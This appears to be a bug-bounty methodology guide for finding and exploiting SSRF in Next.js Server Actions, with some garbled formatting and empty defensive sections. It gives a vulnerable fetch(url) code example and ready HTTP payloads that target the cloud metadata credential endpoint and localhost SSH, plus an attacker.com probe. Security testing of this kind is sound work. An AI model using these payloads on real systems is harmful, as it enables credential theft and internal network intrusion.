SSRF via Next.js Server Actions
When to Use
- When auditing modern web applications built using Next.js (React framework) that utilize Server Actions or custom API routes (
/pages/apior/app/api). - To demonstrate how fetching external data based on user input on the server side can lead to SSRF, allowing access to internal networks or cloud metadata.
Prerequisites
- Authorized scope and target URLs from bug bounty program
- Burp Suite Professional (or Community) configured with browser proxy
- Familiarity with OWASP Top 10 and common web vulnerability classes
- SecLists wordlists for fuzzing and enumeration
Workflow
Phase 1: Identifying Server Actions
# Concept: Next.js Server Actions ```
### Phase 2: Analyzing Request Payloads (Black Box)
```http
# POST / HTTP/1.1
Host: target.com
Content-Type: text/plain;charset=UTF-8
Next-Action: xxxxxxxx
[{"url": "https://attacker.com/image.png"}]
Phase 3: Code Review (White Box - if available)
# Sink: fetch() 'use server'
export async function fetchPreview(url) {
// VULNERABLE const res = await fetch(url);
const data = await res.text();
return { preview: data.substring(0, 100) };
}
Phase 4: Exploitation
# POST / HTTP/1.1
Host: target.com
Content-Type: text/plain;charset=UTF-8
Next-Action: xxxxxxxx
[{"url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"}]
# POST / HTTP/1.1
Host: target.com
Content-Type: text/plain;charset=UTF-8
Next-Action: xxxxxxxx
[{"url": "http://127.0.0.1:22"}]
Decision Point 🔀
flowchart TD
A[Monitor Next-Action ] --> B{Accepts URL Input ]}
B -->|Yes| C[Test internal ]
B -->|No| D[Test parameter ]
C --> E[Exfiltrate ]
🔵 Blue Team Detection & Defense
- URL Allowlisting: - SSRF Protections (Network Level): Key Concepts
Concept Description
Output Format
Ssrf Nextjs Server Actions — Assessment Report
============================================================
Target: [Target identifier]
Assessor: [Operator name]
Date: [Assessment date]
Scope: [Authorized scope]
MITRE ATT&CK: [Relevant technique IDs]
Findings Summary:
[Finding 1]: [Severity] — [Brief description]
[Finding 2]: [Severity] — [Brief description]
Detailed Results:
Phase 1: [Phase name]
- Result: [Outcome]
- Evidence: [Screenshot/log reference]
- Impact: [Business impact assessment]
Phase 2: [Phase name]
- Result: [Outcome]
- Evidence: [Screenshot/log reference]
- Impact: [Business impact assessment]
Risk Rating: [Critical/High/Medium/Low/Informational]
Recommendations:
1. [Immediate remediation step]
2. [Long-term hardening measure]
3. [Monitoring/detection improvement]
📚 Shared Resources
For cross-cutting methodology applicable to all vulnerability classes, see:
_shared/references/elite-chaining-strategy.md— Exploit chaining methodology and high-payout chain patterns_shared/references/elite-report-writing.md— HackerOne-optimized report writing, CWE quick reference_shared/references/real-world-bounties.md— Verified disclosed bounties by vulnerability class
References
- PortSwigger: SSRF
- Next.js Security: Server Actions Security